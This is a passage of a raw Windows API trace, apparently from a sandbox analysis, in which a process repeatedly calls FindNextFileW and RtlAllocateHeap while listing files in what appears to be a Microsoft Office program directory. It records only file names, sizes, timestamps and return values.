0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.047] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0075.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.048] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="")) returned 1 [0075.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.049] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1 [0075.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: 